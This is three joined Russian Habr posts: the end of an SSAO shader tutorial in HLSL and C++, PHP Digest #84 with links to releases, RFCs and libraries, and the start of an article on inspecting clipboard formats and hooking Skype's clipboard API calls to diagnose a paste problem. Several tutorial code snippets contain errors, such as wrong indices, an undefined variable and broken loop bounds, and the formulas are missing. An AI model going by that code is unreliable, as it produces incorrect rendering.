*Рис.6 — проецирование векторов не единичной длины образует более сосредоточенное множество точек. Для большей наглядности использована ортогональная проекция*
Ну вот, ядро готово — осталось использовать его в шейдере. В качестве математической операции я решил использовать «Отражение вектора». Этот инструмент весьма полезен и широко применяется — например если нам надо получить отраженный вектор к источнику света при расчете зеркального освещения или если нам нужно узнать, в какую сторону полетит мяч, отскочивший от стены. Формула расчета отраженного вектора выглядит так:
где v — вектор, который мы собираемся отразить, n — нормаль к поверхности, относительно которой мы будем отражать вектор (см. рис.7)
*Рис.7 — визуализация формулы отраженного вектора*
Последнее, что нам нужно сделать с вектором — добиться того, чтобы он находился в пределах полусферы, ориентированной нормалью. Для этого мы поменяем его направление, если его скаларное произведение с нормалью меньше нуля. В итоге у нас получился следующий код:
```
//float3 kernel[N] - ядро векторов смещения
//normalV - нормаль пикселя в пространстве вида
float3 rndData = tex.Sample(randomOffsetsSampler, input.tex * rndTexFactor + Offset * i).rgb;
rndData = normalize(2.0f * rndData - 1.0f);
for(int i = 0; i < N; i++){
float3 samplingRayL = reflect(kernel[N], rndData);
samplingRayL *= sign(dot(samplingRayL, normalV));
/*...*/
}
```
Обратите внимание, что мы не нормализуем результат операции reflect().
### 3. От луча к точке на экране
Давайте оглянемся назад и посмотрим, что у нас получилось. Итак:
* Используя данные глубины, мы получили координаты пикселя в пространстве вида
* Мы получили N лучей, случайно распределенных относительно друг друга
Теперь у нас есть все, что нужно для того, чтобы наконец узнать, что вокруг нас. Продолжим. Умножаем наш вектор на некий скаляр occlusionRadius и прибавляем его к точке нашего пикселя в пространстве вида. Разумно позволить художнику регулировать значение occlusionRadius.
```
//viewRay - координаты пикселя в пространстве вида
float3 samplingPosV = viewRay + (samplingRayL * occlusionRadius);
```
Говоря формально, в пространстве вида мы получили точку samplingPosV, которая расположена на некотором расстоянии от нашего пикселя по направлению samplingRayL. Далее спроецируем полученную точку на экран, не забывая при этом произвести «однородное деление», чтобы учесть глубину:
```
float4 samplingPosH = mul(float4(samplingPosV, 1.0f), proj);
float2 samplingRayN = samplingRayH.xy / samplingRayH.w;
```
Мы в пространстве NDC. Теперь нам надо перейти в пространство координат текстуры. Для этого преобразуем нашу точку из области значений от -1 до 1 в область от 0 до 1. Обратите внимание, что ось Y направлена в противоположную сторону. (см. рис.8)
*Рис.8 — демонстрация координатных осей для NDC и пространства координат текстуры*
Давайте сперва преобразуем координату Х. В общем виде одномерные преобразования такого рода можно выполнять следующим образом — сперва отнимаем минимальное значение диапазона, затем делим на ширину диапазона (максимальное значение минус минимальное), затем полученный коэффициент умножаем на ширину диапазона нового пространства и к полученному результату прибавляем минимальное значение нового пространства. Уверяю вас, это проще сделать, чем сказать. Для нашего случая предположим, что Nx — координата X в NDC пространстве, Tx — координата X в пространстве координат текстуры. Получается следующее:
Так как координата Y в NDС пространстве направлена в противоположную сторону, действовать нужно несколько иначе. Мы не можем просто взять значение с противоположным знаком, так как мы тут же выйдем за допустимые границы. Хмм… Представьте точку в правом нижнем углу экрана — в пространстве NDC ее координаты будут (1, -1), а в пространстве координат текстуры — (1, 1). Теперь представьте точку в левом верхнем углу — у нее в NDC пространстве координаты будут (-1, 1), а в пространстве координат текстуры — (0, 0). Вырисовывается следующая закономерность — для граничных областей Y принимает максимальное значение в одной системе координат и минимальное в другой и наоборот. Следовательно, когда мы получим наш коэффициент — мы отнимем его от единицы.
Мы можем решить эту задачу другим способом. Решение представлено в приложении 1.
В итоге в шейдере мы получаем следующий код:
```
float2 samplingTc;
samplingTc.x = 0.5f * samplingRayN.x + 0.5f;
samplingTc.y = -0.5f * samplingRayN.y + 0.5f;
```
Добавлю, что можно совместить преобразование к текстурным координатом и проецирование в одной матрице следующим образом (Р — матрица проекции):
### 4. Работа с данными глубины
Осталось совсем немного! Скорей, скорей! По полученным в предыдущем пункте координатам делаем выборку из текстуры с данными.
```
float sampledDepth = normalDepthTex.Sample(normalDepthSampler, samplingTc).w;
```
В компоненте w хранятся данные глубины — берем их и! И… И что же нам с ними делать!? Давайте подумаем. Мы находимся в пространстве вида — ось Z совпадает с направлением камеры. Следовательно, чем меньше полученная глубина, тем ближе к нам находится объект. Напомню, что мы спроецировали точку, которая расположена в некотором отдалении от нашего пикселя в пространстве вида. В текстуре хранится глубина также в пространстве вида. Что мы узнаем, если сравним глубину из текстуры с глубиной нашей точки? Если значение глубины из текстуры меньше, чем глубина точки — тогда что-то расположено ближе к камере и наша точка не будет видна.Соответственно наша точка видна, если она ближе к камере, чем это «что-то». Кстати, примерно также работает ShadowMapping. Это как если вам на машине надо совершить сложный маневр, а вы не видите, что происходит снизу, и вы просите друга отрегулировать ваше движение. А он пьян и посчитал, что сообщать вам данные, противоположные ожидаемым вами будет весьма забавно… Но это не наш случай )
Так вот, чем меньше точек из N множества видно камере, тем меньше рассеянного освещения получает наш пиксель. Можно рассмотреть ситуацию несколько иначе — давайте представим, что мы смотрим из нашего пикселя в направлении его нормали (потому что лучи распределяются в пределах полусферы, ориентированной нормалью). Чем меньше точек из N множества видно камере, тем меньшее количество объектов сцены мы можем увидеть из нашего пикселя (потому что все больше «геометрии» объектов сцены перекрывает нам обзор) — следовательно тем меньше доступа к рассеянному свету сцены (Черт! Папа заставил мой плакат «Iron maiden» своими лыжами! Пикачу! Я призываю тебя!!)
Также надо учесть, что некий объект сцены, глубину которого мы получили, может находиться настолько далеко, что никак не повлияет на доступ к рассеянному свету к точке пикселя (см. рис. 9)
*Рис.9 — Точка q хоть и ближе к камере, но расположен слишком далеко от точки пикселя P и не может влиять на его освещенность*
Я предлагаю не просто прибавлять 1, а некий коэффициент, зависимый от расстояния:
```
float distanceFactor = (1.0f - saturate(abs(viewRay.z - sampledDepth) / occlusionRadius)) * harshness;
```
Обратите внимание, что мы формируем коэффициент расстояния исходя из глубины точки пикселя, а не той точки, которую мы проецировали — ее мы использовали, чтобы понять, есть ли что-то перед нами, а теперь нам надо понять, насколько далеко это «что-то» от нас находится. Также я добавил возможность регулировать интенсивность через параметр harshness.
В общем, это основная часть алгоритма, так сказать heart of it all. Давайте посмотрим на весь цикл работы с векторами смещения:
```
//viewRay - координаты пикселя в пространстве вида
//normalV - нормаль пикселя в пространстве вида
//float3 kernel[N] - ядро векторов смещения
//offset - случайный вектор смещения, полученный из текстуры
float totalOcclusion = 0.0f;
[unroll]
for(int i = 0; i < 16; i++){
float3 samplingRayL = reflect(kernel[i].xyz, offset);
samplingRayL *= sign(dot(samplingRayL, normalV));
float3 samplingPosV = viewRay + (samplingRayL * occlusionRadius);
float4 samplingPosH = mul(float4(samplingPosV, 1.0f), proj);
samplingPosH.xy /= samplingPosH.w;
float2 samplingTc;
samplingTc.x = 0.5f * samplingPosH.x + 0.5f;
samplingTc.y = -0.5f * samplingPosH.y + 0.5f;
float sampledDepth = normalDepthTex.Sample(normalDepthSampler, samplingTc).w;
if(sampledDepth < samplingPosV.z){
float distanceFactor = (1.0f - saturate(abs(viewRay.z - sampledDepth) / occlusionRadius));
totalOcclusion += distanceFactor * harshness;
}
}
```
Давайте посмотрим на результат!
«Эй! Что это за фигня! И где здесь FarCry?!»- спросите вы. «Спокойно!» — отвечу я вам. «Чип и Дейл спешат на помощь!» Ой, это не из той статьи — «Blur спешит на помощь!»
### 5. Используем Blur
**5.1 самый простой вариант**
Эффект размытия, или Blur — очень полезный инструмент, который применяется во многих областях графики. Я бы сравнил его с изолентой (синей! Это важно) — с ее помощью можно что-то исправить или улучшить, но едва ли удастся починить телефон, который упал на кафель с высоты шкафа (хотя инструкции вроде «Обмотай изоляцией, и все нормально будет» встречал не раз).
Суть эффекта проста: для каждого текселя получить среднее арифметическое цветов его соседей
Итак, предположим, что у нас есть тексель с координатами P — давайте посчитаем среднее арифметическое цветов его соседей в области R (AreaWidth на AreaHeight пикселей). Примерно так (я намеренно не произвожу проверки на выход за границы массива. Об этом ниже):
```
D3DXCOLOR **imgData = ...; //Данные изображения
D3DXCOLOR avgColor(0.0f, 0.0f, 0.0f, 0.0f);
for(INT x = P.x - AreaWidth / 2; x <= P.x - AreaWidth / 2; x++)
for(INT y = P.y - AreaHeight / 2; y <= P.y - AreaHeight / 2; y++)
avgColor += imgData[x][y];
avgColor /= AreaWidth * AreaHeight;
```
**5.2 фильтр Гаусса**
Теперь давайте сделаем вот что — цвет каждого соседа будем умножать на значение из матрицы, размерность которой равна AreaWidth на AreaHeight. Также обеспечим, чтобы сумма всех элементов матрицы была равна 1 — это избавит нас от необходимости деления на размер области, потому как теперь это будет уже частный случай среднего арифметического взвешенного. Такую матрицу формально принято называть «Матрицей свёртки», также ее называют «Ядром», а ее элементы — «весами». Зачем это нужно? Так у нас больше возможностей — контролируя значение весов, мы можем добиться, например, эффекта пульсации или постепенного размытия. Также существует целое семейство фильтров, основанных на матрице свёртки — фильтр улучшения четкости, медианный фильтр, фильтры эрозия и наращивание.
Самым распространенным фильтром для размытия является фильтр Гаусса. Его важным свойством является линейная сепарабельность — Это позволяет нам сперва размыть входное изображение по строкам, затем размытое по строкам изображение размыть по столбцам, выполняя один цикл со значениями одномерного фильтра, формула которого имеет вид:
где x — целое число от -AreaWidth/2 до AreaWidth/2, q — так называемое «Стандартное отклонение распределения Гаусса» (the standard deviation of the Gaussian distribution)
Я реализовал функцию, которая формирует матрицу фильтра:
```
typedef std::vector KernelStorage;
KernelStorage GetGaussianKernel(INT Radius, FLOAT Deviation)
{
float a = (Deviation == -1) ? Radius \* Radius : Deviation \* Deviation;
float f = 1.0f / (sqrtf(2.0f \* D3DX\_PI \* a));
float g = 2.0f \* a;
KernelStorage outData(Radius \* 2 + 1);
for(INT x = -Radius; x <= Radius; x++)
outData[x + Radius] = f \* expf(-(x \* x) / a);
float summ = std::accumulate(outData.begin(), outData.end(), 0.0f);
for(float &w : outData)
w /= summ;
return outData;
}
```
Я использую радиус 5, а отклонение — 5 в квадрате.
**5.3 Шейдер и все, что с ним связано**
Мы будем использовать две текстуры — одна с исходными данными, другая для хранения промежуточного результата. Создадим обе текстуры с размерами, соответствующими разрешению экрана и форматом пикселя DXGI\_FORMAT\_R32G32B32A32\_FLOAT. Можно конечно, не сильно потеряв в качестве, уменьшить размер текстур, но в данном случае я решил этого не делать. Работать с текстурами будем по следущей схеме:
```
//рисуем в временную текстуру
{
//размываем исходные данные по вертикали
}
//рисуем в текстуру с исходными данными
{
//размываем по вертикали данные из временной текстуры
}
```
Как и ранее, работать будем с квадратом в NDC пространстве, который занимает всю экранную область, с текстурными координатами от 0 до 1. Теперь самое время подумать над тем, как обрабатывать выход за границы текстуры.
Реализовывать проверки непосредственно в коде шейдера слишком ресурсоемко. Давайте посмотрим, какие у нас есть варианты, если мы все же выйдем за границы области.Как я говорил ранее, в этом случае в игру вступают правила, указанные в перечислении D3D11\_TEXTURE\_ADDRESS\_MODE. Нам подойдет правило D3D11\_TEXTURE\_ADDRESS\_CLAMP. Происходит следующее — каждая из координат ограничивается диапазоном [0, 1]. То есть, если мы делаем выборку с координатами (1.1, 0), — мы получим данные текселя с координатами (1, 0), если выбирать для координат (-0.1, 0), — получим данные в (0, 0). То же самое для У (см. рис. 12).
*Рис.12 демонстрация D3D11\_TEXTURE\_ADDRESS\_CLAMP применительно к размеру фильтра*
Последнее, что нам осталось узнать — на сколько нам надо продвинуться, чтобы переместиться на один пиксель в пространстве координат текстуры. Эта задача решается просто — допустим, что разрешение экрана 1024 на 768 пикселей, тогда, например, центр экрана в пространстве от 0 до 1 будет (512 / 1024, 384 / 768) = (0.5 0.5), а точка, расположенная на один пиксель от левого верхнего угла — (1 / 1024, 1 / 768). Также можно выразить решение этой задачи в виде уравнения. Пусть (Sx,Sy) — наша начальная позиция, (Ex,Ey) — конечная позиция, тогда ответ на вопрос «На какую часть экрана нам надо продвинуться, чтобы переместиться из S в E?» будет выглядеть так:
Предположим, что мы хотим переместиться из левого верхнего угла экрана на один пиксель, тогда уравнение будет выглядеть так:
Выражаем для F и получаем:
Теперь, пожалуй, можно привести код пиксельного шейдера:
```
cbuffer Data : register(b0)
{
float4 weights[11];
float2 texFactors;
float2 padding;
};
cbuffer Data2 : register(b1)
{
int isVertical;
float3 padding2;
};
struct PIn
{
float4 posH : SV_POSITION;
float2 tex : TEXCOORD0;
};
Texture2D colorTex :register(t0);
SamplerState colorSampler :register(s0);
float4 ProcessPixel(PIn input) : SV_Target
{
float2 texOffset = (isVertical) ? float2(texFactors.x, 0.0f) : float2(0.0f, texFactors.y);
int halfSize = 5;
float4 avgColor = 0;
for(int i = -halfSize; i <= halfSize; ++i){
float2 texCoord = input.tex + texOffset * i;
avgColor += colorTex.Sample(colorSampler, texCoord) * weights[i + halfSize].x;
}
return avgColor;
}
```
Вершинный шейдер здесь приводить не стал, потому что там ничего особенного не происходит — просто «пробрасываем» данные дальше. Давайте посмотрим, что у нас получилось:
*Рис.13 демонстрация размытия без учета граней*
Неплохо, но теперь надо решить проблему размытых граней. В нашем случае сделать это это проще, чем может показаться на первый взгляд — ведь все необходимые данные у нас уже есть! Если мы находимся в экранном пространстве, то нам достаточно отследить скачкообразные изменения в данных нормали и глубины. Если скалярное произведение нормалей или абсолютное значение разницы глубин соседнего и обрабатываемого пикселя больше или меньше определенных значений, то мы полагаем, что обрабатываемый пиксель принадлежит линии грани. Я написал небольшой шейдер, который выделяет грани желтым цветом. Принцип работы тот же, как и для размытия — проходим сперва по вертикали, затем по горизонтали. Сравнивать будем двух соседей либо слева и справа, либо сверху и снизу — в зависимости от направления. Получилось примерно так:
```
bool CheckNeib(float2 Tc, float DepthV, float3 NormalV)
{
float4 normalDepth = normalDepthTex.Sample(normalDepthSampler, Tc);
float neibDepthV = normalDepth.w;
float3 neibNormalV = normalize(normalDepth.xyz);
return dot(neibNormalV, NormalV) < 0.8f || abs(neibDepthV - DepthV) > 0.2f;
}
float4 ProcessPixel(PIn input) : SV_Target
{
float2 texOffset = (isVertical) ? float2(0.0f, texFactors.y) : float2(texFactors.x, 0.0f);
float4 normalDepth = normalDepthTex.Sample(normalDepthSampler, input.tex);
float depthV = normalDepth.w;
float3 normalV = normalize(normalDepth.xyz);
bool onEdge = CheckNeib(input.tex + texOffset, depthV, normalV) || CheckNeib(input.tex - texOffset, depthV, normalV);
return onEdge ? float4(1.0f, 1.0f, 0.0f, 1.0f).rgba : colorTex.Sample(colorSampler, input.tex) ;
}
```
*Рис.14 демонстрация выделения граней*
Как нам это использовать при размытии? Очень просто! Мы не будем учитывать цвет тех соседей, которые очень далеко либо значительно отличаются направлениями нормалей от пикселя, цвет которого мы считаем. Только теперь надо делить результат на сумму обработанных весов. Вот код:
```
float4 ProcessPixel(PIn input) : SV_Target
{
float2 texOffset = (isVertical) ? float2(0.0f, texFactors.y) : float2(texFactors.x, 0.0f);
float4 normalDepth = normalDepthTex.SampleLevel(normalDepthSampler, input.tex, 0);
float depthV = normalDepth.w;
float3 normalV = normalize(normalDepth.xyz);
int halfSize = 5;
float totalWeight = 0.0f;
float4 totalColor = 0.0f;
[unroll]
for(int i = -halfSize; i <= halfSize; ++i){
float2 texCoord = input.tex + texOffset * i;
float4 normalDepth2 = normalDepthTex.SampleLevel(normalDepthSampler, texCoord, 0);
float neibDepthV = normalDepth2.w;
float3 neibNormalV = normalize(normalDepth2.xyz);
if(dot(neibNormalV, normalV) < 0.8f || abs(neibDepthV - depthV) > 0.2f)
continue;
float weight = weights[halfSize + i].x;
totalWeight += weight;
totalColor += colorTex.Sample(colorSampler, texCoord) * weight;
}
return totalColor / totalWeight;
}
```
В итоге получилось так:
### 6. Неожиданные изменения
Когда я заканчивал работу над этой статьей, в результате очередного тестирования обнаружил, что результат перекрытия нестабилен относительно направления камеры. Для того, чтобы это исправить, нам нужно перевести координаты обрабатываемого пикселя и точки из п.3 из пространства вида в мировое. В моем случае проблема усугубляется тем, что все важные данные я храню в пространстве вида, поэтому в цикле по всем лучам нам нужно преобразовать либо глубину точки в пространства вида, либо глубину из текструры в мировое пространство. Также нам нужно не забыть перевести нормаль в мировое пространство, но не столь критично, так как не зависит от цикла.
### 7. Заключение
Хочу поблагодарить читателя за внимание к моей статье и надеюсь, что информация, в ней изложенная, была ему доступна, интересна и полезна. Отдельно хочу поблагодарить Леонида [ForhaxeD](https://habrahabr.ru/users/forhaxed/) за его [статью](https://habrahabr.ru/post/248313) — я многое от нее взял и постарался улучшить.
Исходный код примера можно скачать по адресу [github.com/AlexWIN32/SSAODemo](https://github.com/AlexWIN32/SSAODemo). Предложения и замечания касательно работы примера в целом или отдельных его подсистем можете присылать мне [по почте](mailto:aliexwin32@mail.ru) или оставлять в качестве комментариев. Желаю вам успеха!
**Приложение 1**Представим зависимость каждого из компонентов в виде линейного уравнения:
где MinVal — минимальное значение диапазона, Range — ширина диапазона, Factor — коэффициент, который принадлежит множеству значений от 0 до 1. Так как мы переходим из NDC пространства, я полагаю, что точка с коэффициентами, равными единице, будет расположена в левом верхнем углу экрана. Для NDC координат имеем
Для текстурных координат:
Далее выражаем коэффициенты:
Для текстурных координат:
Далее, полагая, что результат уравнений с одинаковыми коэффициентами представляет из себя одну и ту же точку на экране, формируем следующее равенство:
Далее выражаем его через наши уравнения:
В итоге получаем:
 | https://habr.com/ru/post/310360/ | null | ru | null |
# PHP-Дайджест № 84 – интересные новости, материалы и инструменты (10 – 24 апреля 2016)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [Высокопроизводительный PHP — PHP-PM](http://marcjschmidt.de/blog/2016/04/16/php-high-performance-reactphp-jarves-symfony-follow-up.html) — Два года назад автор поста опубликовал [заметку](http://marcjschmidt.de/blog/2014/02/08/php-high-performance.html) о запуске Symfony-приложения с помощью ReactPHP. Тогда это позволило получить десятикратный прирост производительности. В посте автор проводит ретроспективу и обзор текущего состояния проекта. Например, сейчас с помощью [php-pm](https://github.com/php-pm/php-pm) так же можно запустить приложения на Laravel, Zend, Drupal.
* [WordPress 4.5 “Coleman”](https://wordpress.org/news/2016/04/coleman/) — Вышедшая версия содержит ряд малозаметных улучшений, а вот среди изменений, [запланированных](https://make.wordpress.org/core/4-6/) на 4.6 можно заметить [предложение](https://core.trac.wordpress.org/ticket/36335) о реализации PSR-4 автозагрузчика.
* [league/oauth2-server 5.0](https://github.com/thephpleague/oauth2-server) — Свежее обновление реализации OAuth 2.0 сервера на PHP. Под капотом поддержка PSR-7, JWT, и множество улучшений. [Пост](http://alexbilbie.com/2016/04/league-oauth2-server-version-5-is-out) в поддержку.
* [nikic/PHP-Parser 2.1.0](https://github.com/nikic/PHP-Parser/releases/tag/v2.1.0)
### PHP
* [RFC: Attributes](https://wiki.php.net/rfc/attributes) — Предлагается реализовать механизм нативных аннотаций в PHP. Синтаксис [позаимствован из Hack](https://docs.hhvm.com/hack/attributes/introduction). Атрибуты не исполняются, но сохраняются в абстрактном синтаксическом дереве PHP и могут быть затем использованы в PHP-расширениях, препроцессорах, и непосредственно в скриптах.
```
<<...>>
<<...>>
function foo() {}
```
* [RFC: Anonymous Class Lexical Scope](https://wiki.php.net/rfc/lexical-anon) — Автор предлагает решить проблему передачи зависимостей в анонимный класс. Для этого предлагается использовать `use` как в замыканиях:
```
$foo = 5;
$foo = new Bar() use($foo) {
public $foo;
};
```
* [RFC: Union Types](https://wiki.php.net/rfc/union_types) — Начиная с PHP 5.1 можно явно указывать тип передаваемых параметров, а с PHP 7.0 также тип возвращаемых значений. Предлагается сделать возможным указания множественных типов:
```
function (Array | Traversable $in) {
foreach ($in as $value) {
echo $value, PHP_EOL;
}
}
```
* [RFC: Nullable Types](https://wiki.php.net/rfc/nullable_types) — Также предлагается сделать возможным указание типа, который может быть пустым null:
```
function foo_nullable(?Bar $bar) {}
foo_nullable(new Bar); // valid
foo_nullable(null); // valid
foo_nullable(); // invalid
```
* [RFC: Generic Types and Functions](https://wiki.php.net/rfc/generics) — Предложение реализовать генерики (шаблоны) в PHP породило волну обсуждений.
А как считаете вы, насколько оправдана такая возможность в PHP? Оставляйте свой голос в опросе в конце поста и делитесь мнением в комментариях.
### Инструменты
* [teamtnt/tntsearch](https://github.com/teamtnt/tntsearch) — Полнофункциональный движок полнотекстового поиска на PHP.
* [PHPMessageBus/messagebus](https://github.com/phpmessagebus/messagebus) — Реализация шины сообщений (CommandBus, QueryBus, EventBus) на PHP 7.
* [paragonie/csp-builder](https://github.com/paragonie/csp-builder) — Библиотека упрощает внедрение стандарта безопасности [Content Securiy Policy](https://en.wikipedia.org/wiki/Content_Security_Policy), который позволяет защититься от XSS и подобных атак.
* [lavary/crunz](https://github.com/lavary/crunz) — Библиотека для работы с cron-задачами. Позволяет задавать промежутки выполнения в человеко-понятном виде.
* [SerafimArts/Properties](https://github.com/SerafimArts/Properties) — Реализация свойств в PHP на основе phpdoc деклараций. Прислал [serafimarts](https://habrahabr.ru/users/serafimarts/).
* [simplepie/simplepie](https://github.com/simplepie/simplepie) — Простой парсер Atom/RSS фидов.
* [tightenco/jigsaw](https://github.com/tightenco/jigsaw) — Статический генератор сайтов на основе шаблонизатора Blade. [Пост](http://blog.tighten.co/introducing-jigsaw-a-static-site-generator-for-laravel-developers) в поддержку.
* [Corollarium/cachearium](https://github.com/Corollarium/cachearium) — Библиотека для кэширования.
* [DusanKasan/Knapsack](https://github.com/DusanKasan/Knapsack) — Удобная библиотека для работы с коллекциями.
* [leroy-merlin-br/mongolid](https://github.com/leroy-merlin-br/mongolid) — ODM для MongoDB.
* [sebastianbergmann/phploc](https://github.com/sebastianbergmann/phploc) — Классический инструмент для оценки размера проекта.
* [jmespath/jmespath.php](https://github.com/jmespath/jmespath.php) — Библиотека реализует язык запросов для JSON-документов.
* [ramsey/uuid](https://github.com/ramsey/uuid) — Реализация генератора [UUID](https://ru.wikipedia.org/wiki/UUID) по стандарту [RFC 4122](http://tools.ietf.org/html/rfc4122). [Пост](https://benramsey.com/blog/2016/04/ramsey-uuid/) в поддержку.
### Материалы для обучения
* ##### Symfony
+ [Суперскоростной Symfony — ReactPHP](https://gnugat.github.io/2016/04/13/super-speed-sf-react-php.html)
+ [Суперскоростной Symfony — nginx](https://gnugat.github.io/2016/04/20/super-speed-sf-nginx.html)
+  [Symfony: обработка запросов в API](https://habrahabr.ru/post/281875/)
+  [Фильтрация данных в Symfony](https://habrahabr.ru/post/281863/)
* ##### Yii
+  [Гибкая модульная архитектура на Yii2](http://haru-atari.com/blog/14/flexible-module-architecture-on-yii2-path-1) — Прислал [HaruAtari](https://twitter.com/HaruAtari).
+ [yeesoft/yii2-yee-cms](https://github.com/yeesoft/yii2-yee-cms) — CMS на Yii 2.
* ##### Laravel
+ [zeeshanu/dingo-project-managment](https://github.com/zeeshanu/dingo-project-managment) — Клон Trello на Laravel.
+ [hyn/multi-tenant](https://github.com/hyn/multi-tenant) — Пакет позволяет реализовать мультисайт на Laravel.
+ [InfyOmLabs/laravel-generator](https://github.com/InfyOmLabs/laravel-generator) — Кодогенератор API и админки.
+ [Mahmoudz/Hello-API](https://github.com/Mahmoudz/Hello-API) — Скелет и платформа для разработки RESTful API на Laravel.
+ [Отправляем логи Laravel в ElasticSearch с помощью Logstash](http://learninglaravel.net/parsing-and-sending-laravel-logs-to-elasticsearch-using-logstash/link)
+  [Laravel Timestamp Validator](https://habrahabr.ru/post/281827/)
* [PHP 7 Arrays: HashTables](http://jpauli.github.io/2016/04/08/hashtables.html) — Отличная статья от Julien Pauli о внутреннем устройстве хеш-таблиц в PHP.
* [Мультиязычные приложения с помощью Twig и Gettext](http://www.sitepoint.com/easy-multi-language-twig-apps-with-gettext/)
* [Ускорение автозагрузки в PHP 5.6 & 7.0+](http://blog.blackfire.io/speeding-up-autoloading-on-php-5-6-7-0-for-everyone.html)
* [Как внести свой вклад в PHP: Исправляем баги в ядре PHP](http://www.sitepoint.com/contributing-to-php-how-to-fix-bugs-in-the-php-core/)
* [О проблемах безопасности при десериализации в PHP](https://paragonie.com/blog/2016/04/securely-implementing-de-serialization-in-php)
* [Трансдьюсеры в PHP легко и просто](http://www.sitepoint.com/transducers-in-php-explained-and-demonstrated/)
* [PSR-7 и куки сессии](http://paul-m-jones.com/archives/6310)
* [Использование PSR-7 middleware с помощью ReactPHP](https://mwop.net/blog/2016-04-17-react2psr7.html) — Интересный пост об адаптации PSR-7 в ReactPHP, результатом которой стал пакет [phly/react2psr7](https://github.com/phly/react2psr7).
* [breakthenet/HackMe-SQL-Injection-Challenges](https://github.com/breakthenet/hackme-sql-injection-challenges) — Интерактивная обучалка по обнаружению SQL-инъекций.
* [Обзор изменений и планов по ZF3 за последние три недели](http://framework.zend.com/blog/2016-04-21-zf3-update.html)
* [Анализ зловредного спамерского скрипта](https://jelleraaijmakers.nl/2016/04/dissecting-spammers-spam-script)
*  [PHPUnit для начинающих. Часть 3: Тестовые «двойники»](http://phpprofi.ru/blogs/post/41)
*  [Кэширование запросов с помощью PHP и MySQLnd](http://phpprofi.ru/blogs/post/36)
* [Бенчмарк Magento 1.9 CE и Magento 2.0 CE на PHP 7](https://www.magecore.com/blog/news/php-7-affects-performance-magento-1-9-ce-vs-magento-2-0-ce)
*  [Увеличение производительности Magento](https://habrahabr.ru/post/282025/)
*  [PHP UK Conference 2016](https://habrahabr.ru/company/badoo/blog/281443/)
*  [Как я опробовал Microsoft Project Oxford + Telegram Bot API](https://habrahabr.ru/post/282125/)
*  [Оптимизация модели Nested Set в PHPixie](https://habrahabr.ru/post/282305/)
### Аудио и видеоматериалы
*  [Zend Expressive за 15 минут](https://nomadphp.com/2016/04/18/zend-expressive-15-minutes/)
*  [Что нового в PhpStorm 2016.1](https://www.youtube.com/watch?v=mLugGhyo3yc)
*  [PHP Roundtable #044: Asynchronous PHP](https://www.phproundtable.com/episode/asynchronous-php)
*  [Пятиминутка PHP: Выпуск №19 — PHP Annotated Monthly](http://5minphp.ru/episode19/)
*  [SDCast #42: в гостях Антон Шевчук](https://sdcast.ksdaemon.ru/2016/04/sdcast-42/)
### Занимательное
* [Jordi Boggiano: Статистика файлов в Composer-пакетах](https://seld.be/notes/common-files-in-php-packages)
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](http://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
[Присылайте ссылки](http://bit.ly/php-digest-add-link) на интересные статьи или полезные инструменты, которых [не было в PHP-Дайджестах](http://pronskiy.github.io/php-digest/), и ваше имя будет рядом с присланной ссылкой в выпуске.
[Быстрый поиск по всем дайджестам](http://pronskiy.github.io/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 83](https://habrahabr.ru/company/zfort/blog/281306/) | https://habr.com/ru/post/282331/ | null | ru | null |
# Магия Ctrl-C Ctrl-V, или как перестать сохранять картинки и начать жить
Одна из немногих стандартных утилит Windows, которой я пользуюсь практически каждый день — это [snippingtool](https://en.wikipedia.org/wiki/Snipping_Tool), или, попросту говоря, «Ножницы». Свою задачу она выполняет на ура (впрочем, многого от неё я и не требую), а из прочих полезностей можно отметить вставку выделенного региона напрямую в Skype, без необходимости сохранять изображение в файл — достаточно всего лишь нажать Ctrl-V в окне ввода сообщений. Приятно, что название файла в таком случае будет состоять из даты и времени вместо, например, хеша.
Несмотря на то, что в самом Snipping Tool имеется возможность обводить определённые части изображения, порой этого недостаточно:
* Во-первых, «Ножницы» не умеют обрабатывать комбинацию клавиш Ctrl-Z, т.е. сделать в них Undo не получится, в связи с чем одна-единственная ошибка в редактировании может заставить начать всё с начала
* Во-вторых, обводить изображение можно только при помощи Pen'а и Highlighter'а, что не очень удобно, когда надо, например, указать на прямоугольную область
Именно по этим причинам я зачастую обращаюсь к [mspaint](https://en.wikipedia.org/wiki/Paint_(software)). А вот у него есть обратный недостаток — вставить изображение напрямую из буфера обмена в Skype уже не получится.
В чём же причина такого поведения? Можно ли его исправить? Давайте разберёмся.
Как протекал процесс, и что из этого вышло, читайте под катом.
Предлагаю начать со сравнения содержимого буфера обмена в случае копирования изображения из snippingtool и из mspaint. Для этого можно воспользоваться программой под названием [InsideClipboard](http://www.nirsoft.net/utils/inside_clipboard.html). Скачиваем, разархивируем и запускаем InsideClipboard, открываем «Ножницы» (Win-R -> snippingtool), выделяем какой-нибудь регион (в моём случае это небольшая часть чёрного фона на рабочем столе), нажимаем F5 в InsideClipboard и видим следующую картину:
Сохраняем это же изображение куда-нибудь на диск, открываем его в mspaint (Win-R -> mspaint), выделяем его полностью (Select -> Select all), копируем в буфер обмена при помощи Ctrl-C, снова обновляем состояние InsideClipboard'а и смотрим, что оказалось в clipboard'е на этот раз:
Помимо самого bitmap'а в данном случае мы можем наблюдать в буфере обмена какую-то дополнительную информацию. Может быть, Skype'у именно она и мешает при вставке изображения?
Т.к. на клиент Skype'а навешана самопальная защита, для данной задачи гораздо проще будет воспользоваться каким-нибудь перехватчиком WinAPI-функций, чтобы посмотреть, как Skype «заглядывает» в буфер обмена. Скачиваем и запускаем [WinAPIOverride](http://jacquelin.potier.free.fr/winapioverride32/), указываем PID Skype'а в поле «Process ID» и нажимаем на кнопку «Start»:
Отлично, жмём на кнопку «Monitoring Files Library»
и начинаем ставить галочки рядом с функциями, связанными с работой с clipboard'ом. Полный их список можно [найти](https://msdn.microsoft.com/en-us/library/windows/desktop/ff468802(v=vs.85).aspx), например, на MSDN:
> AddClipboardFormatListener
>
> ChangeClipboardChain
>
> CloseClipboard
>
> CountClipboardFormats
>
> EmptyClipboard
>
> EnumClipboardFormats
>
> GetClipboardData
>
> GetClipboardFormatName
>
> GetClipboardOwner
>
> GetClipboardSequenceNumber
>
> GetClipboardViewer
>
> GetOpenClipboardWindow
>
> GetPriorityClipboardFormat
>
> GetUpdatedClipboardFormats
>
> IsClipboardFormatAvailable
>
> OpenClipboard
>
